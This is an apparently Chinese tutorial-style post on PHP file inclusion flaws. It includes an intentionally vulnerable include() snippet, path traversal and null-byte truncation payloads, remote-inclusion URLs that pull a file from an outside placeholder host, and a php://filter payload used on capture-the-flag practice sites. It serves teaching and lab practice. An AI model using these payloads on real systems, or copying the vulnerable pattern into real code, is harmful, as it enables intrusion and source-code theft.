简单了解WEB漏洞-文件包含漏洞
原理
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
演示代码
<?php
$filename = $_GET['filename']
include($filename)
?>
在网站目录下有一个php.txt文件 文件的内容是<?php phpinfo();?>
向filename传参将1.txt包含进去
127.0.0.1/test,php?filename=1.txt

成功执行php代码
文件包含还可以包含不同目录下的文件,我在D盘根目录下有一个1.txt 内容同样是<?php phpinfo();?>

因此url应该这样写
127.0.0.1/test,php?filename=../../../1.txt

文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
本地包含-有限制
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
绕过方法
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
长度截断:条件:windows,点号需要长于256;linux 长于4096
远程包含-有限制

只有这个开关打开才允许远程上传
无限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
有限制
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23
http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?
各种协议流玩法
各环境支持的协议

php伪协议

靶场演
示
https://www.ichunqiu.com/battalion?t=1&r=0


根据代码可知传递path值即可
使用php伪协议

发现一个可疑的php文件

访问看下

查看页面源代码

完事
靶场二
asdf (chinalover.sinaapp.com)

url上有一个file可以猜测是包含的文件名
使用php伪协议读取文件源码
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

base64加密

解码后的结果